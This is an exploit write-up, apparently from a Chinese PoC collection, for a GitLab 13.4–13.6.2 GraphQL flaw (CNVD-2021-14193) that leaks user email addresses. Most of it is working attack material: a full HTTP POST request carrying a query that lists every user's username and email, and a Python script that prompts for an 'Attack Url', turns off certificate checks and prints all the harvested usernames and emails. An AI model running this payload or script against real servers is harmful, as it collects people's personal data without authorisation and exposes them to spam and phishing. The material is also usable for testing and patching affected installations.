GitLab GraphQL User Email Address Leak (CNVD-2021-14193)

Affected Versions

GitLab 13.4 - 13.6.2

Exploit

http://xxx.xxx.xxx.xxx/-//graphql-explorer

GitLab itself doesn't allow unauthorized access to email data, but through a username query towards GraphQL the email data could get exposed.

In the original report, it requires that you have known the username to acquire its email address; but through another constructed query you could get all usernames and email addresses in a row Send the payload to /api/graphql

完整數據包為:

POST /api/graphql HTTP/1.1
Host: xxx.xxx.xxx.xxx
Content-Length: 212
Content-Type: application/json


{"query":"{\nusers {\nedges {\n  node {\n    username\n    email\n    avatarUrl\n    status {\n      emoji\n      message\n      messageHtml\n     }\n    }\n   }\n  }\n }","variables":null,"operationName":null}

成功返回數據，造成 Gitlab的用戶郵箱信息洩露。

POC

import requests
import sys
import random
import re
import json
from requests.packages.urllib3.exceptions import InsecureRequestWarning

def title():
    print('+--------------WgpSec--Team----------------')
    print('+  \033[34mPOC_Des: http://wiki.peiqi.tech                                   \033[0m')
    print('+  \033[34mVersion: GitLab 13.4 - 13.6.2                                     \033[0m')
    print('+  \033[36m使用格式:  python3 poc.py                                            \033[0m')
    print('+  \033[36mUrl         >>> http://xxx.xxx.xxx.xxx                             \033[0m')
    print('+------------------------------------------')

def POC_1(target_url):
    vuln_url = target_url + "/api/graphql"
    user_number = 0
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
        "Content-Type": "application/json",
    }
    try:
        data = """
        {"query":"{\\nusers {\\nedges {\\n  node {\\n    username\\n    email\\n    avatarUrl\\n    status {\\n      emoji\\n      message\\n      messageHtml\\n     }\\n    }\\n   }\\n  }\\n }","variables":null,"operationName":null}
        """
        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
        response = requests.post(url=vuln_url, headers=headers, data=data ,verify=False, timeout=5)
        if "email" in response.text and "username" in response.text and "@" in response.text and response.status_code == 200:
            print('\033[32m[o] 目标{}存在漏洞, 泄露用户邮箱数据....... \033[0m'.format(target_url))
            for i in range(0,999):
                try:
                    username = json.loads(response.text)["data"]["users"]["edges"][i]["node"]["username"]
                    email = json.loads(response.text)["data"]["users"]["edges"][i]["node"]["email"]
                    user_number = user_number + 1
                    print('\033[34m[o] 用户名:{} 邮箱:{} \033[0m'.format(username, email))
                except:
                    print("\033[32m[o] 共泄露{}名用户邮箱账号 \033[0m".format(user_number))
                    sys.exit(0)
        else:
            print("\033[31m[x] 不存在漏洞 \033[0m")
            sys.exit(0)
    except Exception as e:
        print("\033[31m[x] 请求失败 \033[0m", e)


if __name__ == '__main__':
    title()
    target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
    POC_1(target_url)

參考

https://mp.weixin.qq.com/s/3cT8d9I7qru2tsURqUDusw

https://gitlab.com/gitlab-org/gitlab/-/issues/244275